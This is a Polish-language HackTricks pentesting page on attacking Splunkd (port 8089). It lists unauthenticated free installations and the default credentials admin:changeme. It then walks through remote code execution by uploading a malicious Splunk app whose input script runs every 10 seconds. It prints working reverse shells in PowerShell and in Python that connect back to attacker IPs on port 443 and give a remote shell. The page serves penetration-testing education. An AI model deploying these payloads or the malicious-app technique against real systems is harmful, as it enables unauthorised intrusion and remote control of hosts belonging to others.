8089 - Pentesting Splunkd

Reading time: 3 minutes

tip

Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie HackTricks

Podstawowe informacje

  • Narzędzie do analizy logów używane do zbierania, analizy i wizualizacji danych
  • Powszechnie używane w monitorowaniu bezpieczeństwa i analizie biznesowej
  • Domyślne porty:
  • Serwer WWW: 8000
  • Usługa Splunkd: 8089

Wektory podatności:

  1. Wykorzystanie wersji darmowej
  • Wersja próbna automatycznie przekształca się w wersję darmową po 60 dniach
  • Wersja darmowa nie ma uwierzytelnienia
  • Potencjalne ryzyko bezpieczeństwa, jeśli pozostawione bez nadzoru
  • Administratorzy mogą przeoczyć implikacje bezpieczeństwa
  1. Słabości poświadczeń
  • Starsze wersje: Domyślne poświadczenia admin:changeme
  • Nowsze wersje: Poświadczenia ustawiane podczas instalacji
  • Potencjalne użycie słabych haseł (np. admin, Welcome, Password123)
  1. Możliwości zdalnego wykonania kodu
  • Wiele metod wykonania kodu:
  • Aplikacje Django po stronie serwera
  • Punkty końcowe REST
  • Skrypty wejściowe
  • Skrypty alarmowe
  • Wsparcie dla wielu platform (Windows/Linux)
  • Skrypty wejściowe mogą uruchamiać:
  • Skrypty Bash
  • Skrypty PowerShell
  • Skrypty wsadowe

Kluczowy potencjał wykorzystania:

  • Przechowywanie wrażliwych danych
  • Brak uwierzytelnienia w wersji darmowej
  • Wiele wektorów potencjalnego zdalnego wykonania kodu
  • Możliwość wykorzystania skryptów wejściowych do kompromitacji systemu

Shodan

  • Splunk build

RCE

Utwórz niestandardową aplikację

Splunk oferuje zaawansowaną metodę zdalnego wykonania kodu poprzez wdrażanie niestandardowych aplikacji, wykorzystując swoje możliwości skryptowe na wielu platformach. Główna technika wykorzystania polega na stworzeniu złośliwej aplikacji, która może wykonywać reverse shelle na systemach Windows i Linux.

Niestandardowa aplikacja może uruchamiać skrypty Python, Batch, Bash lub PowerShell. Co więcej, Splunk ma zainstalowanego Pythona, więc nawet w systemach Windows będziesz mógł uruchamiać kod Pythona.

Możesz użyć tego przykładu z bin zawierającym przykład dla Pythona i PowerShell. Lub możesz stworzyć własny.

Proces wykorzystania podąża za spójną metodologią na różnych platformach:

splunk_shell/
├── bin        (reverse shell scripts)
└── default    (inputs.conf configuration)

Plik konfiguracyjny inputs.conf włącza skrypt poprzez:

  • Ustawienie disabled = 0
  • Skonfigurowanie 10-sekundowego interwału wykonania
  • Zdefiniowanie typu źródłowego skryptu

Wdrożenie jest proste:

  1. Utwórz złośliwy pakiet aplikacji
  2. Skonfiguruj nasłuchiwacz (Netcat/socat) na maszynie atakującej
  3. Prześlij aplikację przez interfejs Splunk
  4. Wyzwól automatyczne wykonanie skryptu po przesłaniu

Przykładowy odwrócony shell Windows PowerShell:

powershell
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
};
$client.Close()

Przykładowy odwrócony shell Python w systemie Linux:

python
import sys, socket, os, pty
ip = "10.10.14.15"
port = "443"
s = socket.socket()
s.connect((ip, int(port)))
[os.dup2(s.fileno(), fd) for fd in (0, 1, 2)]
pty.spawn('/bin/bash')

RCE i eskalacja uprawnień

Na poniższej stronie znajdziesz wyjaśnienie, jak ta usługa może być nadużywana do eskalacji uprawnień i uzyskania trwałości:

{{#ref}} ../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md {{#endref}}

Odniesienia

tip

Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie HackTricks